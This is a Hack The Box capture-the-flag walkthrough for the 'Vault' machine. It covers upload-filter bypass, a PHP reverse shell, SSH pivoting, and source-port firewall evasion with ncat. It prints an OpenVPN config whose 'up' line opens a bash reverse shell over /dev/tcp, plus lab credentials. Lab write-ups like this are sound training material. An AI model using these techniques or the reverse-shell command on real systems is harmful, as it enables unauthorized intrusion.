/var/log $ cat "Hack The Box - Vault Walkthrough"

tl;dr

1. Find a HTTP upload form.
2. Bypass the upload filter to upload a PHP reverse shell.
3. Get the SSH credentials, a password and find a second machine running HTTP.
4. Use the OpenVPN config website on the second machine to get a reverse shell back to the first one.
5. Get the user flag and SSH credentials for the second machine.
6. Find the address of the third machine.
7. Figure out how to ssh into the third machine.
8. Transfer the encrypted root flag from the third machine back to the first machine.
9. Decrypt the root flag with the found password from step 3.

Tools used: nmap, gobuster, browser, php reverse shell, netcat, ssh, openvpn, ncat, scp, file, gpg

Machine Info

Initial Recon

Running nmap we find OpenSSH running on port 22 and Apache httpd on port 80:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

$ nmap -p- -sC -sV 10.10.10.109
# Nmap 7.70 scan initiated Thu Mar  7 23:20:13 2019 as: nmap -p- -sC -sV 10.10.10.109
Nmap scan report for 10.10.10.109
Host is up (0.037s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  7 23:20:59 2019 -- 1 IP address (1 host up) scanned in 46.84 seconds

Initial Enumeration

SSH is only accessible with valid credentials. This leaves HTTP to enumerate. Opening http://10.10.10.109 shows:

Running gobuster on the domain leads to nothing. Taking the information presented on the website, the server’s organization name seems to be ‘Slowdaddy’ and they have a first client named ‘Sparklays’. Trying to open http://10.10.10.109/slowdaddy results in 404. But browsing to http://10.10.10.109/sparklays results in 403:

Running gobuster -e -w /usr/share/wordlists/dirb/common.txt -r -x .php,.htm,.html,.txt -u http://10.10.10.109/sparklays/ we can find two interesting files (../sparklays/admin.php and ../sparklays/login.php) and another directory (../sparklays/design):

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

http://10.10.10.109/sparklays/.hta (Status: 403)
http://10.10.10.109/sparklays/.hta.txt (Status: 403)
http://10.10.10.109/sparklays/.hta.php (Status: 403)
http://10.10.10.109/sparklays/.hta.htm (Status: 403)
http://10.10.10.109/sparklays/.hta.html (Status: 403)
http://10.10.10.109/sparklays/.htaccess (Status: 403)
http://10.10.10.109/sparklays/.htaccess.html (Status: 403)
http://10.10.10.109/sparklays/.htaccess.txt (Status: 403)
http://10.10.10.109/sparklays/.htaccess.php (Status: 403)
http://10.10.10.109/sparklays/.htaccess.htm (Status: 403)
http://10.10.10.109/sparklays/.htpasswd (Status: 403)
http://10.10.10.109/sparklays/.htpasswd.php (Status: 403)
http://10.10.10.109/sparklays/.htpasswd.htm (Status: 403)
http://10.10.10.109/sparklays/.htpasswd.html (Status: 403)
http://10.10.10.109/sparklays/.htpasswd.txt (Status: 403)
http://10.10.10.109/sparklays/admin.php (Status: 200)
http://10.10.10.109/sparklays/design (Status: 403)
http://10.10.10.109/sparklays/login.php (Status: 200)

Having a look at http://10.10.10.109/sparklays/admin.php shows a login form:

http://10.10.10.109/sparklays/login.php just shows ‘access denied’:

So it could be that we need to login or bypass this. But still there is http://10.10.10.109/sparklays/design left for another bruteforce attempt with gobuster -e -w /usr/share/wordlists/dirb/common.txt -r -x .php,.htm,.html,.txt -u http://10.10.10.109 /sparklays/design/. And we find one more page (../sparklays/design/design.html) and one more directory (../sparklays/design/uploads):

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

http://10.10.10.109/sparklays/design/.hta (Status: 403)
http://10.10.10.109/sparklays/design/.hta.txt (Status: 403)
http://10.10.10.109/sparklays/design/.hta.php (Status: 403)
http://10.10.10.109/sparklays/design/.hta.htm (Status: 403)
http://10.10.10.109/sparklays/design/.hta.html (Status: 403)
http://10.10.10.109/sparklays/design/.htaccess (Status: 403)
http://10.10.10.109/sparklays/design/.htaccess.php (Status: 403)
http://10.10.10.109/sparklays/design/.htaccess.htm (Status: 403)
http://10.10.10.109/sparklays/design/.htaccess.html (Status: 403)
http://10.10.10.109/sparklays/design/.htaccess.txt (Status: 403)
http://10.10.10.109/sparklays/design/.htpasswd (Status: 403)
http://10.10.10.109/sparklays/design/.htpasswd.php (Status: 403)
http://10.10.10.109/sparklays/design/.htpasswd.htm (Status: 403)
http://10.10.10.109/sparklays/design/.htpasswd.html (Status: 403)
http://10.10.10.109/sparklays/design/.htpasswd.txt (Status: 403)
http://10.10.10.109/sparklays/design/design.html (Status: 200)
http://10.10.10.109/sparklays/design/uploads (Status: 403)

Opening ‘design.html’ we simply get a link to ‘changelogo.php’:

The name ‘changelogo.php’ suggests that the upload form is for image files. As it is good practice for such forms to have filters to prevent mischief, we first test if it works at all with a jpg and if we can find our file in ../sparklays/design/uploads. And yes we can:

Conclusion: The server runs PHP and there is a working file upload which we can try to use to get server access.

Own User

Getting a Reverse Shell

With to goal in mind to get a get shell we first try to upload an unobtrusive .php file simply containing <?php phpinfo(); ?>. And as assumed it isn’t working:

Trying different methods to bypass the filter mechanism we find that that .php5 files are allowed:

And fortunately they also get executed:

So the next step is simple: upload a PHP reverse shell script and start a netcat listener to get a shell:

Enumerating /home and SSH Access

We can find two users on the box: ‘dave’ and ‘alex’. Having a look at /home/dave/Desktop we find three interesting files:

The ‘Servers’ file gives us two more IPs: 192.168.122.4 for ‘DNS + Configurator’ and 192.168.122.5 for ‘Firewall’. The entry ‘The Vault - x’ suggests this is where we can find either the user or root flag but we don’t know it’s address by now. Checking with ifconfig we find our box has also the IP 192.168.122.1 in the 192.168.122.0/24 subnet.

The content of ‘key’ (itscominghome) suggests it is a password for something we don’t know yet.

Knowing that the box is running ssh and assuming the content of ssh are dave’s ssh credentials (dave:Dav3therav3123) we try to ssh into the box to have a fully interactive shell and persistent access:

Pivoting to 192.168.122.4

Running a simple ping script to check out the remaining 192.168.122.0/24 subnet we find the two IPs .4 and .5 alive:

0
1
2

dave@ubuntu:~$ for i in `seq 2 254`; do ping -c 1 -w 1 192.168.122.$i | grep "64 bytes"; done
64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.360 ms
64 bytes from 192.168.122.5: icmp_seq=1 ttl=64 time=0.330 ms

So either the mentioned ‘The Vault’ doesn’t react on ICMP pings or it is not in the subnet.

Checking for useful tools we find netcat installed. So we can use it as a simple port scanner to check out the two alive addresses (nc -w 2 -zv 192.168.122.4 1-1000 2>&1 | grep -v -i "refused")

So we find .5 has no open ports in the range from 1-1000 and .4 has 22 and 80 open. If this brings us no further we might have to go back an try the full range. But first let’s use netcat again to check if .4 is really running SSH and HTTP:

This confirms that we indeed have SSH and HTTP. Assuming that SSH needs valid credentials, starting with HTTP presents the better options. Since it would be a nightmare enumerating it via command line we forward port 80 with SSH (ssh -L 127.0.0.1:80:192.168.122.4:80 dave@10.10.10.109) so that we can conveniently explore it:

The ‘… DNS Settings’ link doesn’t work. The other one leads to this:

The text shown implies 192.168.122.4 has OpenVPN installed and we can input config file entries and execute it. Researching about OpenVPN we find out that it can be used to execute commands after it connects. This could be used to get a reverse shell, but we need to figure out which configuration works by trial and error.

This step took me quite a while. I ended up with a configuration containing a bash reverse shell command:

0
1
2
3
4

remote 192.168.122.1
nobind
dev tun
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/6666 0>&1'"

Paste the config on the website and hit ‘Update file’ to load it on on the box:

Start a listener on the first box and click ‘Test VPN’ to get a shell. Practically we’re directly logged in as ‘root’. Having a look around /home we see again ‘alex’ and ‘dave’. While /home/alex contains no obvious cluses, /home/dave contains the user flag we’re looking for and again something which looks like SSH credentials:

Own root

Getting into ‘The Vault’

From /home/dave/ssh we have the credentials ‘dave:dav3gerous567’ which could be for SSH access on 192.168.122.4 aka ‘DNS’. And indeed they are, so we can now tunnel through 10.10.10.109 to ‘DNS’ from our attacker machine with ssh -t dave@10.10.10.109 ssh dave@192.168.122.4. As ‘dave’ is a sudoer on ‘DNS’ we elevate ourselves withsudo su.

In /etc/hosts we find the missing address for ‘The Vault’:

We can’t ping 192.168.5.2 so this might be a dead end. Good thing is ‘DNS’ has nmap installed. But doing a ping agnostic scan brings nothing really useful to light except that the IP seems to be alive:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10

$ nmap -Pn 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-10 16:39 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0037s latency).
Not shown: 998 filtered ports
PORT     STATE  SERVICE
53/tcp   closed domain
4444/tcp closed krb524

Nmap done: 1 IP address (1 host up) scanned in 12.82 seconds

So back to enumerating ‘DNS’ to see what we can come up with. In var/log/auth.log we find something interesting:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

$ cat /var/log/auth.log | grep -a 192.168.5.2
Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444
Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444
Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444
Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444
Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2  user=dave
Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2
Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth]
Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444
Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444
Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep  2 15:10:34 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

Especially the entry with /usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f looks interesting. So we are also running it and now we get an open port when trying it from 4444:

0
1
2
3
4
5
6
7
8
9

$ nmap -Pn 192.168.5.2 --source-port=4444 -f
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-10 16:39 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0037s latency).
Not shown: 999 closed ports
PORT    STATE SERVICE
987/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 33.09 seconds

As there is also ncat installed we check what we get on port 987 when coming from 4444. Turns out to be SSH:

0
1

$ ncat 192.168.5.2 987 --source-port 4444
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

As ‘ssh’ does not allow the configuration of a source port we need a little trick here. We start a ncat listener and tell it to execute a shell commad when establishing a connection, thus redirecting the stdin and stdout of that command to use the ncat connection (see Ncat Users’ Guide for details). Then we connect to the listener with ssh. But SSH needs some credentials. Best guess is to use the same that we have for ‘DNS’ (dave:dav3gerous567) and hope for the best. We execute ncat -l 3333 --sh-exec 'ncat 192.168.5.2 987 --source-port 3333' & ssh dave@localhost -p 3333 to find it working:

In dave’s home dir we find a file called root.txt.gpg which presumably is the root flag. Checking it with file we find it encrypted:

Getting the root Flag

We remember that on the initial machine we found a file named key which contained the string ‘itscominghome’ which could be the password to decrypt the flag. But neither ‘The Vault’ nor ‘DNS’ has gpg installed. Only the inital machine has it (or our attacker machine). So the first step is to transfer the file from ‘The Vault’ to ‘DNS’ using the same trick with ncat as before (mind the capital P for specifing the port in scp):

Then we transfer the file one more time from ‘DNS’ to the initial machine with scp (alternatively we can use base64 to copy/paste it):

Now we can decrypt the root flag with gpg -d /tmp/root.txt.gpg using ‘itscominghome’ as passphrase: